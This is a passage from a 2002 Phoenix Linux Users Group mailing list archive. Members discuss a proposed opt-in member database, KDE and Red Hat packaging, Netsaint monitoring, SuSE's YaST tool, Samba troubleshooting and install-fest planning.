part or this one service or > someone who can wave this wand, that I can find it in my own time, rather > than having to drag myself through lot's of emails and calls that get me > off track from the "thing" I most want. > > Just kinda why I brought this up and how I would like to see things > improved upon. > > Kimi Adams > Unity Wave > > At 6/27/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >My thoughts on a member database. > > > >I think it is a great idea. As of right now, we have little information > >about who is subscribed to any of the mailing lists, other than their mail > >address. Some people might consider that a "good thing". > > > >Any membership information should be gathered voluntarily. We should not > >require anyone to add information to the database. We should warn them that > >we will collect at least the email address that they are using to subscribe > >to a list for the membership database. We do, after all, consider anyone > >subscribed to any of our mail lists as a PLUG member (makes our numbers look > >really great). > > > >I bet we could get Brian to capture a snapshot of the current subscribers' > >email addresses from Mailman. We could them mass-email all subscribers > >pointing them to a yet-to-be built web page with a form to fill out as much > >or as little information as they want in the database. I bet we could even > >set up a mechanism to send new subscribers to get sent there automatically. > >Probably should set up a way to delete data when someone unsubscribes. This > >is tougher because a person may be subscribed to all the lists but only be > >unsubscribing from one or two. > > > >As far a web space for members, how much space do we have available that we > >can use for members' pages? It is one thing to search the database and > >display data about one member, but it will take a lot more space if we set > >aside even 1M of space for every member. It will take some resources for the > >database web page that collects the data and for the database and for the > >scripts that need to be written. It will take more space to search and > >display routines based on criteria input (sounds like a job for our PhP > >gurus). > > > >All in all, I consider this a great project. It would be even greater if we > >release all the tools after it is done. I am almost surprised that another > >UG has not done something like this already. So what do we need in terms of > >hardware, software, and manpower? Who is gonna organize it? How many members > >would be interested in participating? > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > >qR5NkSwamOTOgLRJ+rIAeJDg > >=XeNW > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:30:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Thu, 27 Jun 2002 18:30:27 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> Message-ID: <3D1BBC33.BC88DB14@qwest.net> Did a search for KDE base on rpmfind.net and 3.0.1 is in the Rawhide distro from RedHat. RawHide is the testing/beta distro for their next release. http://www.rpmfind.net//linux/RPM/rawhide/1.0/i386/RedHat/RPMS/kdebase-3.0.1-3.i386.html > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > > -----Original Message----- > From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] > Sent: Thursday, June 27, 2002 10:36 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > > main applications I want to use. KDE released ver 3.1 several weeks ago. > > Just for clarification, KDE 3.1 has not been released. Rather it is version > 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the > release announcement soon.) I also remember an allusion to "K-Mail 3.1" > earlier, which I assume was referring to KMail 1.4.1 (the version that > comes with 3.0.1). > > If you are interested in the KDE 3.1 release schedule, it may be found here: > http://developer.kde.org/development-versions/kde-3.1-release-plan.html > > - -- > Logan Kennelly > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm > 5f2zNPQR/Ixau1NJ67Q2b3w= > =ojSL > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:42:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Thu, 27 Jun 2002 18:42:46 -0700 Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: <20020628014246.GV8953@ecloud.org> At least if you do this on the Mailman "show member list" page, you can password-protect that, so that only other members can see it. I suspect lots of people will object to having their emails put on a public web page. On Thu, Jun 27, 2002 at 06:13:15PM -0700, Dr.G wrote: > I'm afraid I didn't sign up to this list to have my email put into a DB with > a list of skills/references on me so that someone can go in there and just > send me email whenever they have a problem. I thought that was what PLUG was > for, to discuss the problem and get multiple points of view and figure out > the best tool for the job. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:31:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Thu, 27 Jun 2002 19:31:11 -0700 (MST) Subject: Install Fest II 0626 Status In-Reply-To: Message-ID: On Thu, 27 Jun 2002, Tom Emerson wrote: > A handful of first-person-shooter games running wouldn't hurt, 'specially > for the "Student Newspaper Oriented Press Releases" crowd? > > - t > I have... let's see....*Looks* Descent III, Q3A, Tribes 2 and a simulation game called Railroad Tycoon 2 - Gold edition loaded on this Linux box... :) Welp... looks like I going to bring both of my systems in again... Whoever setups up the venune at GCC make sure you got like 30 amps power setup for me because both of the boxes will require that much, together. ;) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:15:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Thu, 27 Jun 2002 19:15:23 -0700 Subject: Netsaint In-Reply-To: <200206271638.57847.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> <200206271638.57847.zen2now@qwest.net> Message-ID: <20020627191523.57cc3058.linux@esaravana.com> My experience is that it scales well from 1 system to 500 systems. I use it at home to monitor my old pentium 133 system and also have implemented it successfully for a managed services company to monitor 500+ systems. With too many systems to monitor I had to fine tune the system communication with SOAP, XML and Java. It really worked great. But of course -- we were set a mere consultants who implemented the project, before a hotshot ex-Motorola manager took control of the project, cancelled the the netsaint installation over Intellectual Property issue(How intelligent he could be?), signed a contract with HP for OpenView at $50000/site and bankrupt the company. After few months, he contacted me for a job oportunity in my new company. OK, that's all together another big story. Anyway it is great product and scales really well. Sundar On Thu, 27 Jun 2002 16:38:57 -0700 "slr" wrote: > well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba > servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL > servers. in this senario would netsaint be an overkill? i am trying out ntop > right now, what is your feeling about this app? > > as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint > user and not the apacheuser. :~( > > slr > > On Thursday 27 June 2002 03:50 pm, Lowell Hamilton wrote: > > > maybe a better question would be, is Netsaint worth the hassle? are there > > > better tools for this that are easier to setup? > > > > Depends on what you want to monitor .. if you want to check a tiny > > webserver or just a couple little hosts with the most basic checks, > > netsaint is a lot of extra hassle. Netsaint doesn't become really handy > > until you start implementing larger networks or have several hosts > > monitoring dozens of services each. I have a 5100-point of failure > > netsaint install going watching almost 100 points of failure on several > > machines, something no other opensource monitoring software could handle > > without blowing the system up or becoming unmaintainable. For small > > stuff though, hit freshmeat .. software like bigbrother would probably > > work. > > > > In regards to your problem, it sounds like NEAT set the userid in > > /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file > > and make sure all the paths and users are correct for what you need. > > > > Lowell > > > > On Thu, 2002-06-27 at 15:04, slr wrote: > > > slr > > > > > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > > > Ok here goes, cause i guess i am going to be one of those that will > > > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > > > looked like it would make administration easier. i can pull up the web > > > > interface and edit the host.cfg, which BTW i couldnt do by using the > > > > httpd default group and chmod g+w host.cfg as suggested in the > > > > README.txt for NEAT. the problem now is when i try to verify and > > > > restart netsaint using the NEAT web interface i get this error msg: > > > > > > > > ERROR - userid apacheuser (this is not the real default httpd user) > > > > cannot run /usr/local/netsaint/bin/netsaint to verify your config. This > > > > is probably your httpd userid. Fix this > > > > > > > > i am not sure why it is using this apache user, it is not entered in > > > > the netsaint.cfg file. any ideas? > > > > > > > > slr > > > > > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 22:34:51 -0400 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> Message-ID: <3D1BCB4B.C30FB519@georgetoft.com> slr wrote: > > > /etc/hosts has nothing to do with what the real hostname. It's better if it > > does list the name, but that's not required. > > if /etc/hosts has nothing to do with what the real hostname is. then why in > the /etc/rc.config file right above the statement: > > FQHOSTNAME=blah.hostname.com > > does it state: > > Hostname of the system (full name) > Don't forget to edit your /etc/hosts appropriately > > and BTW, thx George for the clue to /etc/rc.config. No problem. > > > /etc/HOSTNAME is probably either read or written at boot time, but should > > otherwise be ignored. > > sl in SuSE is YaST the preferred way of making system changes? Yes, and this drove me batty. I cut my teeth learning config files and making symlinks in the start up scripts, so YaST was a major annoyance. Now, I live with YaST because SuSE supports the Linux Standards Base, and some other distros do not. Today's YaST really rocks, so I am getting used to doing the point and click administration. I wanted to install my WinTV card. Point-click, YaST set it up - easy. I wanted to monitor my CPU temperature. I installed the sensors package, and YaST installed the proper entries in /etc/modules.conf for me. The "gotcha" with YaST is when you install a new service, like LDAP, you must enable the new service in YaST, because every init script asks YaST if that service is supposed to start up. The other "gotcha" is that YaST2 does not manage Logical Volumes correctly - use YaST1 for that. George From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:38:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 22:38:29 -0400 Subject: OT: Five year old wins MS proficiency cert, Gates book Message-ID: <3D1BCC25.AD3772CD@georgetoft.com> Five year old wins MS proficiency cert, Gates book By Andrew Orlowski in San Francisco Posted: 25/06/2002 at 07:39 GMT A five year old boy in Thailand has passed Microsoft's Office User Specialist examination (MOUS), and won himself a copy of Bill Gates masterpiece Business At The Speed of Light... http://www.theregister.co.uk/content/28/25874.html What's next, Microsoft MCSE at 6 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:47:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 27 Jun 2002 19:47:05 -0700 Subject: Five year old wins MS proficiency cert, Gates book References: <3D1BCC25.AD3772CD@georgetoft.com> Message-ID: <004d01c21e4e$169103c0$6701a8c0@drghastly> 7, actually. ----- Original Message ----- From: "George Toft" To: "PLUG Discuss" Sent: Thursday, June 27, 2002 7:38 PM Subject: OT: Five year old wins MS proficiency cert, Gates book > Five year old wins MS proficiency cert, Gates book > By Andrew Orlowski in San Francisco > Posted: 25/06/2002 at 07:39 GMT > > > A five year old boy in Thailand has passed Microsoft's Office User > Specialist examination (MOUS), and won himself a copy of Bill Gates > masterpiece Business At The Speed of Light... > > http://www.theregister.co.uk/content/28/25874.html > > > What's next, Microsoft MCSE at 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:09:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:09:15 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> Message-ID: <005d01c21e51$35224da0$0301010a@tickticker.com> >Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. they do kinda, but i installed KDE 3.0.1 on my mandrake 8.2 distro and not including download it took me a whopping 20 mins to install. Works great too. if you want 8.2, i can get you a copy and throw the rpms for KDE on a cd and either directions or just help out. if it's one thing i learned to do well, it's install the latest KDE on a mandrake install as i've been doing it since mandrake 7.1. anthony ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Thursday, June 27, 2002 3:41 PM Subject: RE: Crappy Products Cost More!! > I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. > > I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. > > -----Original Message----- > From: Kurt Granroth [mailto:kurt@granroth.org] > Sent: Thursday, June 27, 2002 3:02 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > > On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > Would you settle for a product that is 70 to 80% complete? How about if > > they left off one tire on your car? Bernard's attitude is a horrible > > example of bad customer service. (If what you report is accurate.) > > To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). > RedHat gives him next to no support internally. > > Not that that excuses RedHat at all... > > As for your java issues with Konqueror, it depends on what version of Java > you are using. You need java 1.3 or better (the IBM version works great > for me). Java support in the upcoming 3.1 (not due until this Fall) is > *much* improved over the 3.0.x series as well. > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:04:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:04:56 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> Message-ID: <005001c21e50$956d2410$0301010a@tickticker.com> I'm glad to hear the 12 step arizona plan has worked as well for you as it has for me:-) anthony ps. say ya to da u.p., eh? ----- Original Message ----- From: "Kurt Granroth" To: Sent: Thursday, June 27, 2002 3:00 PM Subject: Re: Install fest interest generation > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > Naw, I'm not a YouPer > > It's "Yooper", not "Youper". :-) > > For the record, I spent the first 22 years of my life as a Yooper living in > the northernmost part of Michigan. Five years living here has cured me of > all that, though :-) > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:10:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:10:57 -0700 Subject: Install fest interest generation References: <4A8DFDA6B395D411A11B00508BEE23FE76B53B@mail.int.fh.org> <200206271500.00141@granroth.org> <02062715413316.07972@nova.wedge.org> Message-ID: <006001c21e51$6c12c970$0301010a@tickticker.com> I'm from the Detroit area and we just referred to them as snowbound except for the month of pleasant (for mich) weather. Anthony ----- Original Message ----- From: "Jim" To: Sent: Thursday, June 27, 2002 3:41 PM Subject: Re: Install fest interest generation > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Down in Detroit we referred to youse guys who lived in gods country north of > the bridge as you-pee-ers ::grin:: > > On Thursday 27 June 2002 15:00, you wrote: > > On Thursday 27 June 2002 02:01 pm, Tom Achtenberg wrote: > > > Naw, I'm not a YouPer > > > > It's "Yooper", not "Youper". :-) > > > > For the record, I spent the first 22 years of my life as a Yooper living in > > the northernmost part of Michigan. Five years living here has cured me of > > all that, though :-) > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRuUnSsk3ywszI1FEQKQeQCfWKIkmAxn6SS8sWTgFcr2/pN6cO8AoJt1 > x7aL47MbwnUjcXA35miRvU/F > =qGzn > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:15:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 20:15:26 -0700 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> Message-ID: <007801c21e52$0ce15240$2f7c0d82@peyote> > slr wrote: > > > > > /etc/hosts has nothing to do with what the real hostname. It's better if it > > > does list the name, but that's not required. > > > > if /etc/hosts has nothing to do with what the real hostname is. then why in > > the /etc/rc.config file right above the statement: > > > > FQHOSTNAME=blah.hostname.com > > > > does it state: > > > > Hostname of the system (full name) > > Don't forget to edit your /etc/hosts appropriately > > > > and BTW, thx George for the clue to /etc/rc.config. > > No problem. > > > > > > > /etc/HOSTNAME is probably either read or written at boot time, but should > > > otherwise be ignored. > > > > sl in SuSE is YaST the preferred way of making system changes? > > Yes, and this drove me batty. I cut my teeth learning config files and > making symlinks in the start up scripts, so YaST was a major annoyance. > Now, I live with YaST because SuSE supports the Linux Standards Base, > and some other distros do not. Today's YaST really rocks, so I am > getting used to doing the point and click administration. > > I wanted to install my WinTV card. Point-click, YaST set it up - easy. > I wanted to monitor my CPU temperature. I installed the sensors > package, and YaST installed the proper entries in /etc/modules.conf for > me. > > The "gotcha" with YaST is when you install a new service, like LDAP, you > must enable the new service in YaST, because every init script asks YaST > if that service is supposed to start up. The other "gotcha" is that > YaST2 does not manage Logical Volumes correctly - use YaST1 for that. > > George ok, i will use YaST like a good lizard. :~D looking at the choices i had, SuSE was the only Distro i could find that had a newer kernel written for the sparc64. all the others lagged behind! so after spending time with it at work, i am thinking about nuking RH7.1 and installing the new SuSE on my workstation @home. Should i X RH? slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:26:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Thu, 27 Jun 2002 20:26:46 -0700 Subject: OT: Five year old wins MS proficiency cert, Gates book References: <3D1BCC25.AD3772CD@georgetoft.com> Message-ID: <3D1BD776.7000804@ttlexceeded.com> George Toft wrote: >[...] >A five year old boy in Thailand has passed Microsoft's Office User >Specialist examination (MOUS), and won himself a copy of Bill Gates >masterpiece Business At The Speed of Light... > >http://www.theregister.co.uk/content/28/25874.html > As if child labor and sweatshops weren't cruel enough! - Bob > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:58:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 20:58:01 -0700 (MST) Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: Am 27. Jun, 2002 schwätzte Dr.G so: > I'm afraid I didn't sign up to this list to have my email put into a DB with > a list of skills/references on me so that someone can go in there and just > send me email whenever they have a problem. I thought that was what PLUG was I don't think that's what anyone was proposing. I hope it wasn't. I try to get people to mail the list rather than going to me directly. Admittedly I sometimes go directly to a few people because I know they're working on the project in question or I specifically want their opinion. What was proposed was to email the people on the list and ask them to sign up. That's SPAM and I, personally, am very much against that. Announcing it as a new project on the appropriate lists is fine. That will get better reception, so that's the way to go anyway. The db thing should be totally an opt-in thing, e.g. you initiate your entry and you maintain it. I think that's what's been proposed. > If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is > just as annoyng as MSN/hotmail signing you up for thier spam, not telling > you, and then saying "Oh, well, its OPT-Out..." Opt-out should be illegal. At the international level. Period. Actually, at the intergalactic level! ciao, der.hans -- # https://www.LuftHans.com/ # When I work, I work hard. When I play, I play hard. # When I sit, I sleep. - Embe Kugler From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:33:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 20:33:09 -0700 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> <007801c21e52$0ce15240$2f7c0d82@peyote> Message-ID: <009601c21e54$85fafda0$0301010a@tickticker.com> I'd like to thank everyone for the smb info. i was having major problems browsing from my winsnooze boxes. after getting my hostname situated, even that backward os can share on a consistant basis. now i can move all my data from MS to Linux and complete my happy home. another happy customer! anthony ----- Original Message ----- From: "slr" To: Sent: Thursday, June 27, 2002 8:15 PM Subject: Re: SuSE 7.3 sparc64 > > slr wrote: > > > > > > > /etc/hosts has nothing to do with what the real hostname. It's better > if it > > > > does list the name, but that's not required. > > > > > > if /etc/hosts has nothing to do with what the real hostname is. then why > in > > > the /etc/rc.config file right above the statement: > > > > > > FQHOSTNAME=blah.hostname.com > > > > > > does it state: > > > > > > Hostname of the system (full name) > > > Don't forget to edit your /etc/hosts appropriately > > > > > > and BTW, thx George for the clue to /etc/rc.config. > > > > No problem. > > > > > > > > > > > /etc/HOSTNAME is probably either read or written at boot time, but > should > > > > otherwise be ignored. > > > > > > sl in SuSE is YaST the preferred way of making system changes? > > > > Yes, and this drove me batty. I cut my teeth learning config files and > > making symlinks in the start up scripts, so YaST was a major annoyance. > > Now, I live with YaST because SuSE supports the Linux Standards Base, > > and some other distros do not. Today's YaST really rocks, so I am > > getting used to doing the point and click administration. > > > > I wanted to install my WinTV card. Point-click, YaST set it up - easy. > > I wanted to monitor my CPU temperature. I installed the sensors > > package, and YaST installed the proper entries in /etc/modules.conf for > > me. > > > > The "gotcha" with YaST is when you install a new service, like LDAP, you > > must enable the new service in YaST, because every init script asks YaST > > if that service is supposed to start up. The other "gotcha" is that > > YaST2 does not manage Logical Volumes correctly - use YaST1 for that. > > > > George > > ok, i will use YaST like a good lizard. :~D > > looking at the choices i had, SuSE was the only Distro i could find that had > a newer kernel written for the sparc64. all the others lagged behind! so > after spending time with it at work, i am thinking about nuking RH7.1 and > installing the new SuSE on my workstation @home. > > Should i X RH? > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 22:58:39 -0400 (EDT) Subject: Install fest interest generation In-Reply-To: <006101c21df8$0c11c020$0301010a@tickticker.com> Message-ID: On Thu, 27 Jun 2002, tickticker wrote: > haven't visited yet, but post a flyer on the installfestwest site that can > easily be downloaded and printed. Michelle Lowman has generously offered to head up the flyer effort. Of course, we have to confirm the date and location first. Foodog is looking into the GCC Student Union. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 04:01:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 28 Jun 2002 00:01:01 -0400 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> <3D1BCB4B.C30FB519@georgetoft.com> <007801c21e52$0ce15240$2f7c0d82@peyote> Message-ID: <3D1BDF7D.5983F15D@georgetoft.com> slr wrote: [snip] > ok, i will use YaST like a good lizard. :~D > > looking at the choices i had, SuSE was the only Distro i could find that had > a newer kernel written for the sparc64. all the others lagged behind! so > after spending time with it at work, i am thinking about nuking RH7.1 and > installing the new SuSE on my workstation @home. > > Should i X RH? I fond SuSE is a much more responsive company than Red Hat, so I would, but it is up to you. I say they are more responsive as I suggested they add mplayer to their distro, and about a month later, I got a note from them saying they would. George From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 03:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 23:02:35 -0400 (EDT) Subject: Install Fest II 0626 Status In-Reply-To: <3D1BA01C.8D86CEBF@cox.net> Message-ID: Very agreed! Who wants to take the position as presentation coordinator? I'm guessing we could leverage the presentations from last time. On Thu, 27 Jun 2002, Lee Einer wrote: > It would be great to have a published schedule of the presentations, > too. > -- > Lee Einer > > http://members.cox.net/appealsman/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:08:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Thu, 27 Jun 2002 13:08:37 -0700 Subject: Samba Help?? Message-ID: <007a01c21e16$6c7388e0$6600a8c0@YICHENGWIN2K> 1. Check to see that nmbd and smbd process are still running. Try killing them and then restarting them again. 2. 'nmbd' handles the browsing aspects of Samba. Check the log files. You can usually find some clues as to what went wrong. It should be something like nmbd.log, or samba.log, or something. They way they are configured depends on how samba is configured. So check smb.conf. Also check the debug level, since this affects what kind of messages are logged. 3. Sometimes windows networks (especially large domains and workgroups) take a long time to update and propogate. I've seen instances where it can take several hours to update. Sometimes though, I've seen a machine that just refuses to show up on the network without any explanation. In that case, I've changed the Samba hostname (different than you Linux hostname) and finally got it to work. Hope this helps. >--__--__-- > >Message: 2 >From: Carl Parrish >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Samba Help?? >Date: Thu, 27 Jun 2002 14:13:54 -0400 >Reply-To: plug-discuss@lists.plug.phoenix.az.us > >I let some Window users talk me into rebooting my Linux box to try to fix a problem >now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I >can't see any of the window boxes on the network anyone have any ideas? > > >Carl P. > > >--__--__-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:07:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Thu, 27 Jun 2002 16:07:40 -0700 Subject: Questions about RH, Gnome, and Evolution References: <4A8DFDA6B395D411A11B00508BEE23FE76B53D@mail.int.fh.org> Message-ID: <3D1B9ABC.316FCD18@phillipsmarketing.biz> I have RH 7.3 installed and Evolution version 1.0.3. Since I am behind a proxy/firewall, I need to setup the http proxy setting in gconf. The manual (yes, I did read it) says I need to either use nautilus 